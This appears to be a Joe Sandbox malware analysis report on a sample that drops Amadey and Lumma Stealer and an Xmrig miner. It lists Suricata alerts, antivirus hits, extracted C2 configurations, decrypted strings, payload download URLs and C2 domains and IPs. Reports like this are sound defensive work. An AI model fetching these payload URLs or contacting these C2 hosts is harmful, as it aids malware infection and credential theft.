Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:03:29.139348+0100	2058215	1	Domain Observed Used for C2 Detected	192.168.2.5	49873	104.131.68.180	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (immureprech .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:03:25.789211+0100	2058223	1	Domain Observed Used for C2 Detected	192.168.2.5	49865	178.62.201.34	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:03:16.891647+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49842	185.215.113.43	80	TCP
2024-12-17T08:03:25.195592+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49860	185.215.113.43	80	TCP
2024-12-17T08:03:37.616599+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49894	185.215.113.43	80	TCP
2024-12-17T08:03:46.181966+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49915	185.215.113.43	80	TCP
2024-12-17T08:03:58.490891+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49946	185.215.113.43	80	TCP
2024-12-17T08:04:05.190218+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49965	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (awake-weaves .cyou)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:03:30.515506+0100	2058210	1	Domain Observed Used for C2 Detected	192.168.2.5	50426	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:04:07.791853+0100	2057973	1	Domain Observed Used for C2 Detected	192.168.2.5	50654	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:04:08.016459+0100	2057975	1	Domain Observed Used for C2 Detected	192.168.2.5	65526	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deafeninggeh .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:03:26.375575+0100	2058214	1	Domain Observed Used for C2 Detected	192.168.2.5	61447	1.1.1.1	53	UDP
2024-12-17T08:03:27.387597+0100	2058214	1	Domain Observed Used for C2 Detected	192.168.2.5	61447	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (debonairnukk .xyz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:03:30.069581+0100	2058216	1	Domain Observed Used for C2 Detected	192.168.2.5	49331	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (diffuculttan .xyz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:03:22.648993+0100	2058218	1	Domain Observed Used for C2 Detected	192.168.2.5	50144	1.1.1.1	53	UDP
2024-12-17T08:03:29.925880+0100	2058218	1	Domain Observed Used for C2 Detected	192.168.2.5	64475	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:04:07.337348+0100	2057979	1	Domain Observed Used for C2 Detected	192.168.2.5	54877	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (effecterectz .xyz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:03:29.663387+0100	2058220	1	Domain Observed Used for C2 Detected	192.168.2.5	54431	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:04:07.556440+0100	2057977	1	Domain Observed Used for C2 Detected	192.168.2.5	63501	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:03:22.873504+0100	2058222	1	Domain Observed Used for C2 Detected	192.168.2.5	51546	1.1.1.1	53	UDP
2024-12-17T08:03:23.908368+0100	2058222	1	Domain Observed Used for C2 Detected	192.168.2.5	51546	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:04:08.487499+0100	2057969	1	Domain Observed Used for C2 Detected	192.168.2.5	64778	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:04:08.254809+0100	2057971	1	Domain Observed Used for C2 Detected	192.168.2.5	53225	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:04:06.873731+0100	2057983	1	Domain Observed Used for C2 Detected	192.168.2.5	61244	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sordid-snaked .cyou)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:03:30.827829+0100	2058226	1	Domain Observed Used for C2 Detected	192.168.2.5	54837	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wrathful-jammy .cyou)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:03:30.289168+0100	2058236	1	Domain Observed Used for C2 Detected	192.168.2.5	51804	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:04:07.106308+0100	2057981	1	Domain Observed Used for C2 Detected	192.168.2.5	50334	1.1.1.1	53	UDP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:03:04.960005+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49810	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:03:15.556192+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49818	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:03:09.428116+0100	2803305	3	Unknown Traffic	192.168.2.5	49822	31.41.244.11	80	TCP
2024-12-17T08:03:18.348696+0100	2803305	3	Unknown Traffic	192.168.2.5	49844	31.41.244.11	80	TCP
2024-12-17T08:03:26.639157+0100	2803305	3	Unknown Traffic	192.168.2.5	49867	31.41.244.11	80	TCP
2024-12-17T08:03:39.366715+0100	2803305	3	Unknown Traffic	192.168.2.5	49900	31.41.244.11	80	TCP
2024-12-17T08:03:47.645435+0100	2803305	3	Unknown Traffic	192.168.2.5	49920	31.41.244.11	80	TCP
2024-12-17T08:03:59.955503+0100	2803305	3	Unknown Traffic	192.168.2.5	49950	31.41.244.11	80	TCP
2024-12-17T08:04:06.667447+0100	2803305	3	Unknown Traffic	192.168.2.5	49968	185.215.113.16	80	TCP

ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:03:25.791121+0100	2822521	1	Domain Observed Used for C2 Detected	178.62.201.34	443	192.168.2.5	49865	TCP
2024-12-17T08:03:29.141824+0100	2822521	1	Domain Observed Used for C2 Detected	104.131.68.180	443	192.168.2.5	49873	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:03:33.479101+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	49883	104.121.10.34	443	TCP
2024-12-17T08:04:11.017817+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	49979	104.121.10.34	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://31.41.244.11/files/unique3/random.exe	Avira URL Cloud: Label: phishing
Source: https://deafeninggeh.biz/apij	Avira URL Cloud: Label: malware
Source: https://wrathful-jammy.cyou/e	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/kosodium/random.exe	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000003.00000002.2115721499.0000000000191000.00000040.00000001.01000000.00000008.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: c1be3b2878.exe.7476.12.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["immureprech.biz", "deafeninggeh.biz", "debonairnukk.xyz", "diffuculttan.xyz", "awake-weaves.cyou", "sordid-snaked.cyou", "wrathful-jammy.cyou", "effecterectz.xyz"], "Build id": "Y8AvKL--"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1016543001\c7d5db0fd9.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	ReversingLabs: Detection: 70%

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 56%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016543001\c7d5db0fd9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000000C.00000002.2995700888.0000000000F21000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: sordid-snaked.cyou
Source: 0000000C.00000002.2995700888.0000000000F21000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: awake-weaves.cyou
Source: 0000000C.00000002.2995700888.0000000000F21000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: wrathful-jammy.cyou
Source: 0000000C.00000002.2995700888.0000000000F21000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: debonairnukk.xyz
Source: 0000000C.00000002.2995700888.0000000000F21000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: diffuculttan.xyz
Source: 0000000C.00000002.2995700888.0000000000F21000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: effecterectz.xyz
Source: 0000000C.00000002.2995700888.0000000000F21000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: deafeninggeh.biz
Source: 0000000C.00000002.2995700888.0000000000F21000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: immureprech.biz
Source: 0000000C.00000002.2995700888.0000000000F21000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: diffuculttan.xyz
Source: 0000000C.00000002.2995700888.0000000000F21000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000C.00000002.2995700888.0000000000F21000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000000C.00000002.2995700888.0000000000F21000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: - Screen Resoluton:
Source: 0000000C.00000002.2995700888.0000000000F21000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000000C.00000002.2995700888.0000000000F21000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: Workgroup: -
Source: 0000000C.00000002.2995700888.0000000000F21000.00000040.00000001.01000000.0000000C.sdmp	String decryptor: Y8AvKL--

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 35.3.Intel_PTT_EK_Recertification.exe.1a359520000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.3.Intel_PTT_EK_Recertification.exe.1a359520000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000024.00000002.3063073464.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3062383806.0000000001198000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3063252867.000000014040B000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3062383806.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.3056598633.000001A359520000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 178.62.201.34:443 -> 192.168.2.5:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.131.68.180:443 -> 192.168.2.5:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.121.10.34:443 -> 192.168.2.5:49883 version: TLS 1.2

Source:	Binary string: wkernel32.pdb source: 2ab65296fe.exe, 00000007.00000003.2791268019.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, 2ab65296fe.exe, 00000007.00000003.2791357545.0000000005080000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2794667710.0000000005760000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2794582071.0000000005640000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 2ab65296fe.exe, 00000007.00000003.2791780188.0000000005180000.00000004.00000001.00020000.00000000.sdmp, 2ab65296fe.exe, 00000007.00000003.2791591127.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2795119500.0000000005860000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2794892973.0000000005640000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 2ab65296fe.exe, 00000007.00000003.2790582143.0000000005150000.00000004.00000001.00020000.00000000.sdmp, 2ab65296fe.exe, 00000007.00000003.2790386837.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2793667316.0000000005640000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2793921165.0000000005830000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 2ab65296fe.exe, 00000007.00000003.2790880857.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, 2ab65296fe.exe, 00000007.00000003.2791043084.0000000005100000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2794379110.00000000057E0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2794203656.0000000005640000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 2ab65296fe.exe, 00000007.00000003.2790582143.0000000005150000.00000004.00000001.00020000.00000000.sdmp, 2ab65296fe.exe, 00000007.00000003.2790386837.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2793667316.0000000005640000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2793921165.0000000005830000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 2ab65296fe.exe, 00000007.00000003.2790880857.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, 2ab65296fe.exe, 00000007.00000003.2791043084.0000000005100000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2794379110.00000000057E0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2794203656.0000000005640000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: 0XDlf$.PDB source: svchost.exe, 00000008.00000002.2803801839.0000000003720000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 2ab65296fe.exe, 00000007.00000003.2791780188.0000000005180000.00000004.00000001.00020000.00000000.sdmp, 2ab65296fe.exe, 00000007.00000003.2791591127.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2795119500.0000000005860000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2794892973.0000000005640000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 2ab65296fe.exe, 00000007.00000003.2791268019.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, 2ab65296fe.exe, 00000007.00000003.2791357545.0000000005080000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2794667710.0000000005760000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2794582071.0000000005640000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49810 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49818
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49842 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058222 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz) : 192.168.2.5:51546 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058218 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (diffuculttan .xyz) : 192.168.2.5:50144 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058223 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (immureprech .biz in TLS SNI) : 192.168.2.5:49865 -> 178.62.201.34:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49860 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058214 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deafeninggeh .biz) : 192.168.2.5:61447 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2822521 - Severity 1 - ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner) : 178.62.201.34:443 -> 192.168.2.5:49865
Source: Network traffic	Suricata IDS: 2058215 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (deafeninggeh .biz in TLS SNI) : 192.168.2.5:49873 -> 104.131.68.180:443
Source: Network traffic	Suricata IDS: 2822521 - Severity 1 - ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner) : 104.131.68.180:443 -> 192.168.2.5:49873
Source: Network traffic	Suricata IDS: 2058220 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (effecterectz .xyz) : 192.168.2.5:54431 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058218 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (diffuculttan .xyz) : 192.168.2.5:64475 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058236 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wrathful-jammy .cyou) : 192.168.2.5:51804 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058210 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (awake-weaves .cyou) : 192.168.2.5:50426 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058226 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sordid-snaked .cyou) : 192.168.2.5:54837 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058216 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (debonairnukk .xyz) : 192.168.2.5:49331 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49894 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49915 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49946 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057945 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.5:61244 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057983 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.5:61244 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49965 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057949 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.5:50334 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057981 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.5:50334 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057929 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.5:54877 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057979 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.5:54877 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057931 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.5:63501 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057977 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.5:63501 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057925 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.5:50654 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057973 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.5:50654 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057927 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.5:65526 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057975 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.5:65526 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057943 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.5:53225 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057971 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.5:53225 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057935 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.5:64778 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057969 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.5:64778 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49883 -> 104.121.10.34:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49865 -> 178.62.201.34:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49865 -> 178.62.201.34:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49979 -> 104.121.10.34:443
